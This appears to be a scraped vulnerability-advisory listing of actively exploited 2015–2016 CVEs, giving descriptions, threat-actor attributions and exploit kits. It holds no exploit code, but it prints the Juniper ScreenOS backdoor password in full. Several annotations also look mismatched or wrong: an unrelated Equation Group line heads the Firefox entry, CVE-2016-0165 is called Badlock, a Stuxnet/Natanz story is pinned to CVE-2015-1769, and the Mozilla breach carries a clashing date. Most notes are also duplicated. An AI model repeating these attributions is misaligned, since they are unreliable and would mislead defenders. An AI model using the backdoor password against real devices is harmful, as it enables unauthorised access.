EGREGIOUSBLUNDER is one of multiple Equation Group vulnerabilities and exploits disclosed on 2016/08/14 by a group known as the Shadow Brokers.

Security bypass in Mozilla Firefox
CVE-2015-4495

Security bypass

The vulnerabiity allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to improper input validation. A remote attacker can create a specially crafted PDF file, trick the victim into opening it, bypass same-origin policy and inject arbitrary JavaScript into the built-in PDF Viewer to gain access to arbitrary files on the system.

Successful exploitation of this vulnerability may result in access to local files and privilege escalation, leading to system compromise.

Note: the vulnerability was being actively exploited.
i

In August 2016 Mozilla bug-tracking service was hacked. Hackers were able to steal information about not yet patched vulnerabilities in Mozilla Firefox and use one of them in a targeted attack against users of Russian news website.

The malicious exfiltration server, hosted in Ukraine, has been online since July 27, 2015.

The vulnerability was reported by researcher Cody Crews.

Software: Mozilla Firefox

Known/fameous malware:

JS/Exploit.CVE-2015-4495 (ESET).

In August 2016 Mozilla bug-tracking service was hacked. Hackers were able to steal information about not yet patched vulnerabilities in Mozilla Firefox and use one of them in a targeted attack against users of Russian news website.

The malicious exfiltration server, hosted in Ukraine, has been online since July 27, 2015.

The vulnerability was reported by researcher Cody Crews.

Remote code execution in Adobe Flash Player
CVE-2016-4171

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling .swf files. A remote attacker can create a specially crafted SWF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.


i

The vulnerability was reported by Anton Ivanovn of Kaspersky.
Used by ScarCruft hacking team in Operation Daybreak and Operation Erebus as suggested by Kaspersky Lab.

It has been used in targeted attacks carried out by a new ScarCruft APT group operating primarily against high-profile victims in China, South Korea, India, Russia, Nepal, Romania, and Kuwait.

Software: Adobe Flash Player

The vulnerability was reported by Anton Ivanovn of Kaspersky.
Used by ScarCruft hacking team in Operation Daybreak and Operation Erebus as suggested by Kaspersky Lab.

It has been used in targeted attacks carried out by a new ScarCruft APT group operating primarily against high-profile victims in China, South Korea, India, Russia, Nepal, Romania, and Kuwait.

Arbitrary file upload in WP Mobile detector

Arbitrary file upload

The vulnerability allows a remote attacker to upload arbitrary files to compromise the target system.

The weakness exists due to the failure to validate and sanitize input. A remote attacker can send a request toresize.php or timthumb.php inside the plugin directory with the backdoor URL that contains a PHP code.

Successful exploitation of the vulnerability may result in malicious files uploading and vulnerable system compromising.

Note: the vulnerability was being actively exploited.
i

Researchers at Sucuri said that attacks against WordPress sites running the plugin started on May 26.

Software: WP Mobile detector

Researchers at Sucuri said that attacks against WordPress sites running the plugin started on May 26.

Remote denial of service in Cisco IOS
CVE-2016-1409

Improper input validation

The vulnerability allows a remote attacker to perform a denial of service attack.

The vulnerability exists due to a logic error when parsing IPv6 Neighbor Discovery (ND) packets, sent directly to the device. A remote attacker can send specially crafted IPv6 traffic to the affected device and cause the device to stop processing IPv6 traffic.

Successful exploitation of the vulnerability will result in denial of service attack.

Note: according to Cisco, this vulnerability is being exploited in the wild.

Not patched

Software: Cisco IOS XR

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2016-0189

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error in the Scripting Engine when handling malicious files. A remote attacker can create a specially crafted content, trick the victim into opening it, trigger memory corruption and execute arbitrary code.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Used to target South Korean organizations.
A banking (Duuzer back door) trojan distributed by Sundown Exploit Kit (EK) to target South Korean organizations. Later it was included into Magnitude and KaiXin EKs.

Software: Microsoft Internet Explorer

Known/fameous malware:

Exploit kit: Magnitude, Neutrino, RIG, Sundown.

Used to target South Korean organizations.
A banking (Duuzer back door) trojan distributed by Sundown Exploit Kit (EK) to target South Korean organizations. Later it was included into Magnitude and KaiXin EKs.

Remote code execution in Adobe Flash Player
CVE-2016-4117

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to type confusion error when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Genwei Jiang.
The zero-day was used by the Pawn Storm and APT3 cyber espionage groups in Operation Erebus campaign and seen in payloads included with CryptXXX, Cerber and DMA Locker ransomware, as well as the Gootkit Trojan.

Software: Adobe Flash Player

Known/fameous malware:

Exploit kit: Angler, Magnitude, Neutrino, RIG.

The vulnerability was reported by Genwei Jiang.
The zero-day was used by the Pawn Storm and APT3 cyber espionage groups in Operation Erebus campaign and seen in payloads included with CryptXXX, Cerber and DMA Locker ransomware, as well as the Gootkit Trojan.

Remote code execution in ImageMagick
CVE-2016-3714

Input validation error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to insufficient filtering for filename passed to delegate's command. A remote attacker can create a specially crafted image containing shell metacharacters, trick the victim into opening it via application using ImageMagick, will trigger an input validation flaw and execute arbitrary shell commands with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report.
Security researcher Behrouz Sadeghipour discovered that the vulnerability was present in the web domain belonging to Polyvore.

The vulnerabilily is dubbed "ImageTragick".

Software: ImageMagick

Code execution vulnerability in ImageMagick was found by Nikolay Ermishkin from Mail.Ru Security Team while researching original report.
Security researcher Behrouz Sadeghipour discovered that the vulnerability was present in the web domain belonging to Polyvore.

The vulnerabilily is dubbed "ImageTragick".

Multiple vulnerabilities in Microsoft Windows
CVE-2016-0167

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to improper handling of objects in memory by the kernel-mode driver. A local attacker can run a specially crafted program, gain elevated privileges and execute arbitrary code with SYSTEM privileges.

Successful exploitation of this vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Used to  compromise organizations in the USA and Canada. First attacks were detected in 08.03.2016.

Software: Windows

Known/fameous malware:

PUNCHBABY or PUNCHTRACK Trojan.

Used to  compromise organizations in the USA and Canada. First attacks were detected in 08.03.2016.

Multiple vulnerabilities in Microsoft Windows
CVE-2016-0165

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to improper handling of objects in memory by the kernel-mode driver. A local attacker can run a specially crafted program, gain elevated privileges and execute arbitrary code with SYSTEM privileges.

Successful exploitation of this vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The Badlock vulnerability.

Software: Windows

The Badlock vulnerability.

Microsoft Security Update for Adobe Flash Player
CVE-2016-1019

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to type confusion error when handling .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution.

Note: the vulnerability was being actively exploited.
i

The weakness was presented by Kafeine (EmergingThreats/Proofpoint), Genwei Jiang (FireEye, Inc.) and Clement Lecigne (Google).

According to FireEye, on April 2, Kafeine provided details on a version of the Magnitude Exploit Kit that was originally believed to be exploiting known Adobe Flash vulnerabilities.

Software: Adobe Flash Player

Known/fameous malware:

Magnitude, Neutrino and Nuclear Pack Exploit Kit.
Cerber and DMA Locker ransomware.

The weakness was presented by Kafeine (EmergingThreats/Proofpoint), Genwei Jiang (FireEye, Inc.) and Clement Lecigne (Google).

According to FireEye, on April 2, Kafeine provided details on a version of the Magnitude Exploit Kit that was originally believed to be exploiting known Adobe Flash vulnerabilities.

Multiple vulnerabilities in Adobe Flash Player
CVE-2016-1010

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow. A remote attacker can create a specially crafted Web site, trick the victim into visiting it and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution.

Note: the vulnerability was being actively exploited.
i

The vulnerability was reported by Anton Ivanov from Kaspersky Lab. The vulnerability was used by the ScarCruft group in Operation Daybreak campaign.

Software: Adobe Flash Player

Known/fameous malware:

Used in Angler Exploit Kit.

The vulnerability was reported by Anton Ivanov from Kaspersky Lab. The vulnerability was used by the ScarCruft group in Operation Daybreak campaign.

Multiple vulnerabilities in Adobe Flash Player
CVE-2016-0984

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to a use-after-free error when processing malicious .swf content. A remote attacker can create a specially crafted .SWF file, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability may result in complete compromise of vulnerable system.

According to Kasperksy Lab report, this vulnerability has bein actively exploited in the wild by BlackOasis APT actor.

i

According to Kaspersky Lab, this vulnerability has being exploited in the wild by BlackOasis actor in June 2015.

Software: Adobe Flash Player

According to Kaspersky Lab, this vulnerability has being exploited in the wild by BlackOasis actor in June 2015.

Privilege escalation in Linux kernel
CVE-2016-0728

Use-after-free error

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to use-after-free error in the join_session_keyring() function in security/keys/process_keys.c when handling keyring object reference counting by Linux kernel's key management subsystem. A local attacker can overflow the usage field via a specially crafted object and execute arbitrary code with root privileges.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The critical Linux kernel flaw (CVE-2016-0728) has been identified by a group of researchers at a startup named Perception Point.
The vulnerability has existed since 2012, but was disclosed in January, 2016.

Software: Linux kernel

The critical Linux kernel flaw (CVE-2016-0728) has been identified by a group of researchers at a startup named Perception Point.
The vulnerability has existed since 2012, but was disclosed in January, 2016.

Remote code execution in Microsoft Silverlight
CVE-2016-0034

Improper input validation

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to an error when parsing strings with a malicious decoder that can return negative offsets. A remote attacker can create a specially crafted content, trick the victim into opening it, replace unsafe object headers with contents provided by an attacker and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

On July 5, 2015, a large amount of data from one company was leaked to the Internet with a hacker known as тАЬPhineas FisherтАЭ claiming responsibility for the breach.

Software: Microsoft Silverlight

Known/fameous malware:

Used in Angler, Hunter, RIG and Sundown Exploit Kit.

On July 5, 2015, a large amount of data from one company was leaked to the Internet with a hacker known as тАЬPhineas FisherтАЭ claiming responsibility for the breach.

Multiple vulnerabilities in Adobe Flash Player
CVE-2015-8651

Integer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to integer overflow. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Adobe Flash Player

Known/fameous malware:

Exploit kits: Angler, Neutrino, Nuclear Pack and RIG

Two backdoors in Juniper ScreenOS
CVE-2015-7756

Information disclosure

The vulnerability allows a remote attacker to obtain potentially sensitive information on the target system.

The weakness exists due to usage of insecure encryption keys. A remote attacker can with ability to monitor VPN traffic can intercept and decrypt it.

Successful exploitation of the vulnerability results in information disclosure on the target system.

Note: the vulnerability was disclosed as part of two backdoors during internal source code audit.
i

Revealed during source code review by the vendor.

Software: Juniper ScreenOS

Revealed during source code review by the vendor.

Two backdoors in Juniper ScreenOS
CVE-2015-7755

Authentication bypass

The vulnerability allows a remote attacker to bypass authentication on the target system.

The weakness exists due to presence of backdoor in Juniper ScreenOS code. A remote attacker can enter a password "<<< %s(un='%s') = %u" during a SSH or TELNET session and obtain administrative access to the device.

Successful exploitation of the vulnerability results in unauthorized access to the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Revealed during source code review by the vendor.

Software: Juniper ScreenOS

Revealed during source code review by the vendor.

Remote PHP code execution in Joomla!
CVE-2015-8562

Remote PHP code execution

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target system.

The vulnerability exists due to insufficient filtration of HTTP User-Agent header and filter-search HTTP POST parameter before storing them into database. A remote unauthenticated attacker can permanently inject and execute arbitrary PHP code on the target system with privileges of the web server.

Successful exploitation of this vulnerability will allow a remote attacker to gain complete control over the vulnerable web application and execute arbitrary PHP code on the target system.

Note: this is a zero-day vulnerability and it is being exploited in the wild.

i

The vulnerability was used to compromise vulnerable websites for 16000 (sometimes - 20000) times per day.

Software: Joomla!

The vulnerability was used to compromise vulnerable websites for 16000 (sometimes - 20000) times per day.

Multiple vulnerabilities in Microsoft Windows
CVE-2015-6175

Memory corruption

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to boundary error when handling of objects in kernel memory. A local attacker can execute a specially crafted program, trigger memory corruption and gain SYSTEM privileges.

Successful exploitation of this vulnerability results in privilege escalation on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Windows

Security bypass Oracle Java SE
CVE-2015-4902

Security bypass

The vulnerability allows a remote attacker to bypass security restrictions on the target system.

The weakness exists due to unknown error related to the Java SE Deployment component. A remote attacker can bypass the click-to-play protection in Java.

Successful exploitation of the vulnerability results in security bypass on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Exploited by the Fancy Bear APT.

This was quite useful in Pawn Storm, as it used exploits targeting these vulnerabilities to carry out targeted attacks against North Atlantic Treaty Organization (NATO) members and the White House earlier this year.

Software: Oracle Java SE

Exploited by the Fancy Bear APT.

This was quite useful in Pawn Storm, as it used exploits targeting these vulnerabilities to carry out targeted attacks against North Atlantic Treaty Organization (NATO) members and the White House earlier this year.

Remote code execution in Adobe Flash Player
CVE-2015-7645

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to type confusion error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Was used in Pawn Storm Campaign Targeting Foreign Affairs Ministries. Exploited by the Fancy Bear APT.
The vulnerability was reported by Peter Pi of Trend Micro.

Software: Adobe Flash Player

Known/fameous malware:

Exploit Kits: Angler, Hunter, Magnitude, Neutrino, Nuclear Pack, RIG, Spartan.

Was used in Pawn Storm Campaign Targeting Foreign Affairs Ministries. Exploited by the Fancy Bear APT.
The vulnerability was reported by Peter Pi of Trend Micro.

Remote code execution in Microsoft Windows Media Center
CVE-2015-2509

Arbitrary code execution

The vulnerability allows a remote authenticated attacker to execute arbitrary code on the target system.

The vulnerability exists due to improper handling of Media Center link (.mcl) files. A remote attacker can create a specially crafted Media Center link (.mcl) file that references malicious code, trick the victim into opening it and execute arbitrary code with privileges of the current user.

Successful exploitation of this vulnerability results in system compromise.

Note: the vulnerability was being actively exploited.

i

This vulnerability is related to a previously unreported zero-day exploit discovered in the Hacking Team leaked emails. Trend Micro researchers (Aaron Luo, Kenney Lu, and Ziv Chang) discovered the exploit and subsequently reported their findings to Microsoft.

Software: Windows Media Center

This vulnerability is related to a previously unreported zero-day exploit discovered in the Hacking Team leaked emails. Trend Micro researchers (Aaron Luo, Kenney Lu, and Ziv Chang) discovered the exploit and subsequently reported their findings to Microsoft.

Multiple vulnerabilities in Microsoft Windows
CVE-2015-2546

Memory corruption

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to boundary error in ATMFD.dll in Win32k.sys. A local attacker can execute a specially crafted program, trigger memory corruption and gain SYSTEM privileges.

Successful exploitation of the vulnerability may result in full control of the vulnerable system.


Note: the vulnerability was being actively exploited.

i

The vulnerability was reported by FireEye researcher Wang Yu.

Software: Windows

The vulnerability was reported by FireEye researcher Wang Yu.

Multiple vulnerabilities in Microsoft Office
CVE-2015-2545

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when parsing malformed images. A remote attacker can create a file containing a specially crafted image file, trick the victim into opening it, cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of this vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

CVE-2015-2545 fuels around 17% of attacks in Microsoft Office.

Used to target organisations in China.

Software: Microsoft Office

CVE-2015-2545 fuels around 17% of attacks in Microsoft Office.

Used to target organisations in China.

Remote code execution in Hangul Word Processor
CVE-2015-6585

Type confusion

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to type confusion error. A remote attacker can create a specially crafted HWPX file containing a set of directories and XML files, trick the victim into opening it, cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of this vulnerability may result in arbitrary code execution on the vulnerable system.

Note: this vulnerability is being actively exploited.

i

Trojan.Volgmer.B. Attackers from North Korea exploited the vulnerability HANGMAN in a word processor popular with the South Korea's government to steal the documents and upload them to a C&C server.
North Korea attack in June dubbed "Macktruck".

Software: Hancom Office

Trojan.Volgmer.B. Attackers from North Korea exploited the vulnerability HANGMAN in a word processor popular with the South Korea's government to steal the documents and upload them to a C&C server.
North Korea attack in June dubbed "Macktruck".

Remote code execution in Microsoft Internet Explorer
CVE-2015-2502

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling Javascript and HTML tables within the layout cache. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability has been exploited in watering hole attacks against compromised website belonging to an evangelical church in Hong Kong to deliver Korplug malware.

Software: Microsoft Internet Explorer

Known/fameous malware:

Korplug malware.

The vulnerability has been exploited in watering hole attacks against compromised website belonging to an evangelical church in Hong Kong to deliver Korplug malware.

Multiple vulnerabilities in Microsoft Office
CVE-2015-1642

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to boundary error when processing Microsoft Office documents. A remote unauthenticated attacker can create a specially crafted Office document, trick the victim into opening it and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: this vulnerability is being actively exploited.

i

The vulnerability was discovered by Yong Chuan, Koh of MWR Labs.

Software: Microsoft Office

The vulnerability was discovered by Yong Chuan, Koh of MWR Labs.

Privilege escalation in Microsoft Windows
CVE-2015-1769

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The vulnerability exists due to improper processing of symbolic links by Mount Manager. By inserting a specially crafted USB device into the system, an attacker can create arbitrary files and execute malicious code with SYSTEM privileges.

Successful exploitation of this vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Attackers used USB to infect computers with the malware at the Natanz uranium enrichment facility in Iran.
The .LNK vulnerability was also exploited by the Equation Group, uncovered by researchers at Kaspersky Lab.

Software: Windows

Known/fameous malware:

Fanny

Attackers used USB to infect computers with the malware at the Natanz uranium enrichment facility in Iran.
The .LNK vulnerability was also exploited by the Equation Group, uncovered by researchers at Kaspersky Lab.

Remote code execution in Microsoft Windows
CVE-2015-2426

Buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to buffer overflow in Windows Adobe Type Manager library when processing OpenType fonts. A remote attacker can create a specially crafted document or website with embedded malicious OpenType font, trick the victim into opening it, cause memory corruption and execute arbitrary code on the target system.

Successful exploitation of this vulnerability may result in complete compromise of vulnerable system.

Note: the vulnerability was being actively exploited.

i

The exploit code was revealed after Hacking Team data leak.
The vulnerability was reported by FireEye's Genwei Jiang and Google Project Zero's Mateusz Jurczyk.

The vulnerability has being exploited by Eugene Ching of Qavar Security on the January 2015.

Software: Windows

The exploit code was revealed after Hacking Team data leak.
The vulnerability was reported by FireEye's Genwei Jiang and Google Project Zero's Mateusz Jurczyk.

The vulnerability has being exploited by Eugene Ching of Qavar Security on the January 2015.

Remote code execution in Oracle Java SE
CVE-2015-2590

Remote code execution

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to unknown error in Libraries component. A remote attacker can execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability may result in full control of the vulnerable system.

Note: the vulnerability was being actively exploited.



i

The attacks were launched by a cyberespionage group known as Pawn Storm or APT28 targeting the White House and members of the North Atlantic Treaty Organization (NATO) back in April 2015.
The group has been active since 2007 and typically targets military, government and media organizations.


Software: Oracle Java SE

The attacks were launched by a cyberespionage group known as Pawn Storm or APT28 targeting the White House and members of the North Atlantic Treaty Organization (NATO) back in April 2015.
The group has been active since 2007 and typically targets military, government and media organizations.


Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2015-2425

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error. A remote attacker can create a specially crafted Web-site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The exploit code was revealed after Hacking Team data leak.

Software: Microsoft Internet Explorer

The exploit code was revealed after Hacking Team data leak.

Two remote code execution vulnerabilities in Adobe Flash Player
CVE-2015-5123

тАЬUse-after-freeтАЭ error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in the ActionScript 3 BitmapData class. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The exploit code was revealed after Hacking Team data leak.

Software: Adobe Flash Player

Known/fameous malware:

SWF_EKSPLOYT.EDF. (TrendMicro).

The exploit code was revealed after Hacking Team data leak.

Two remote code execution vulnerabilities in Adobe Flash Player
CVE-2015-5122

тАЬUse-after-freeтАЭ error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error in the ActionScript 3 opaqueBackground class. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The exploit code was revealed after Hacking Team data leak. The exploit was used against Japanese organizations.
The vulnerability was reported by Dhanesh Kizhakkinan of FireEye as well as Peter Pi of TrendMicro.

Software: Adobe Flash Player

Known/fameous malware:

Exploit kits: Angler EK - 2015-07-11 Neutrino - 2015-07-13 Nuclear Pack - 2015-07-14 RIG - 2015-07-14 Magnitude - 2015-07-15 NullHole - 2015-07-22 Spartan - 2015-09-11

The exploit code was revealed after Hacking Team data leak. The exploit was used against Japanese organizations.
The vulnerability was reported by Dhanesh Kizhakkinan of FireEye as well as Peter Pi of TrendMicro.

Arbitrary code execution in Microsoft Windows
CVE-2015-2387

Memory corruption

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to boundary error in the Adobe Type Manager module (ATMFD.dll). A local attacker can execute a specially crafted application, trigger memory corruption, bypass OS-level sandboxing and execute arbitrary code with SYSTEM privileges.

Successful exploitation of the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The exploit code was revealed after Hacking Team data leak.
Public exploit code for this vulnerability became available as part of the Hacking Team leaks on July 5, 2015.

Software: Windows

The exploit code was revealed after Hacking Team data leak.
Public exploit code for this vulnerability became available as part of the Hacking Team leaks on July 5, 2015.

Remote code execution in Adobe Flash Player
CVE-2015-5119

Use-after-free error

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to use-after-free error when processing .swf files. A remote attacker can create a specially crafted Web-site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of  the vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The exploit code was revealed after Hacking Team data leak. Was also used in phishing campaigns conducted by two Chinese advanced persistent threat (APT) groups: APT3 and APT18.
The vulnerability was reported by Google Project Zero and Morgan Marquis-Boire.

Software: Adobe Flash Player

The exploit code was revealed after Hacking Team data leak. Was also used in phishing campaigns conducted by two Chinese advanced persistent threat (APT) groups: APT3 and APT18.
The vulnerability was reported by Google Project Zero and Morgan Marquis-Boire.

Remote code execution in Microsoft Office
CVE-2015-2424

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to heap-based buffer overflow when processing Office files. A remote attacker can create a specially crafted Office file, trick the victim into opening it, cause memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation of this vulnerability results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.


i

The vulnerability reffers to the APT28 and Operation Pawn Storm and was used in cyber espionage campaign by Tsar Team.

Software: Microsoft Office

Known/fameous malware:

Trojan.Win32.Sofacy.

The vulnerability reffers to the APT28 and Operation Pawn Storm and was used in cyber espionage campaign by Tsar Team.

Remote code execution in Adobe Flash Player
CVE-2015-3113

Heap-based buffer overflow

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to heap-based buffer overflow when processing .swf files. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Exploited by a China-based cyberespionage group. Operation Clandestine Wolf тАУ Adobe Flash Zero-Day in APT3 Phishing Campaign.

Software: Adobe Flash Player

Known/fameous malware:

Magnitude exploit kit.

Exploited by a China-based cyberespionage group. Operation Clandestine Wolf тАУ Adobe Flash Zero-Day in APT3 Phishing Campaign.

Multiple vulnerabilities in Microsoft Windows
CVE-2015-2360

Memory corruption

The vulnerability allows a local attacker to obtain elevated privileges on the target system.

The weakness exists due to boundary error. A local attacker can run a specially crafted program to trigger memory corruption and acquire administrative privileges.

Successful exploitation of the vulnerability results in privilege escalation on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

Expoited by Duqu 2.0 and used in attack against the Kaspersky Lab to hack their internal networks in early spring 2015.

Software: Windows

Expoited by Duqu 2.0 and used in attack against the Kaspersky Lab to hack their internal networks in early spring 2015.

PHP code execution in H-fj Mt-phpincgi
CVE-2015-2945

Arbitrary PHP code execution

The vulnerability allows a remote attacker to execute arbitrary PHP code on the target system.

The weakness exists due to improper validation of input when performing an unserialize() call. A remote attacker can send a specially crafted URL request, inject and execute arbitrary PHP code on the system.

Successful exploitation of the vulnerability results in arbitrary PHP code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

Software: Mt-phpincgi

Multiple vulnerabilities in Microsoft Windows
CVE-2015-1701

Privilege escalation

The vulnerability allows a local attacker to gain elevated privileges on the target system.

The weakness exists due to improper access control. A local attacker can create a specially crafted application, execute a callback in userspace and use data from the System token to execute arbitrary code on the system with root privileges.

Successful exploitation of the vulnerability may result in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.
i

The vulnerability was combined with CVE-2015-3043 to perform Operation "Russian Doll".

Exploited by RussiaтАЩs APT28 (Fancy Bear APT) in cyber espionage campaign on the U.S defense contractors, European security companies and Eastern European government entities.

Software: Windows

The vulnerability was combined with CVE-2015-3043 to perform Operation "Russian Doll".

Exploited by RussiaтАЩs APT28 (Fancy Bear APT) in cyber espionage campaign on the U.S defense contractors, European security companies and Eastern European government entities.

Multiple vulnerabilities in Microsoft Office
CVE-2015-1641

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error when handling rich text format files. A remote attacker can create a specially crafted RTF document, trick the victim into opening it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

The vulnerability accounts for nearly 66% of attacks using Office Word.

APT attacks, targeting Tibetans, Uyghurs, human rights groups in Taiwan and Hong Kong, and journalists.

Software: Microsoft Office

The vulnerability accounts for nearly 66% of attacks using Office Word.

APT attacks, targeting Tibetans, Uyghurs, human rights groups in Taiwan and Hong Kong, and journalists.

Multiple vulnerabilities in Adobe Flash Player
CVE-2015-3043

Memory corruption

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The weakness exists due to boundary error. A remote attacker can create a specially crafted Web site, trick the victim into visiting it, trigger memory corruption and execute arbitrary code with privileges of the current user.

Successful exploitation results in arbitrary code execution on the vulnerable system.

Note: the vulnerability was being actively exploited.

i

Attackers exploited the vulnerabilities together to attack a government entity to and steal politically sensitive data that is a known target of the Russian group (APT campaign).

Software: Adobe Flash Player

Attackers exploited the vulnerabilities together to attack a government entity to and steal politically sensitive data that is a known target of the Russian group (APT campaign).

Two remote code execution vulnerabilities in Microsoft Windows
CVE-2015-0096

Insecure dll. library loading

The vulnerability allows a remote attacker to execute arbitrary code on the target system.

The vulnerability exists due to the way Microsoft Windows parses shortcuts. A remote attacker can place a specially crafted .dll file along with an icon file on a remote SMB or WebDav share, trick the victim into opening that document and execute arbitrary code on the target system with privileges of the current user.

Successful exploitation of the vulnerability may allow an attacker to compromise vulnerable system.

Note: the vulnerability was being actively exploited.

i

According to Trustwave it is a zero-day.
Vulnerability CVE-2015-0096 is a continuation of CVE-2010-2568, which was believed to have been patched by MS10-046. However, it was not completely and we see this with MS15-018. At the time of the patch release there were fully functional exploits for this particular vulnerability.

Software: Windows

According to Trustwave it is a zero-day.
Vulnerability CVE-2015-0096 is a continuation of CVE-2010-2568, which was believed to have been patched by MS10-046. However, it was not completely and we see this with MS15-018. At the time of the patch release there were fully functional exploits for this particular vulnerability.

Multiple vulnerabilities in Microsoft Internet Explorer
CVE-2015-0071

Security bypass

The vulnerabiity allows a remote attacker to bypass security restrictions on the target system.

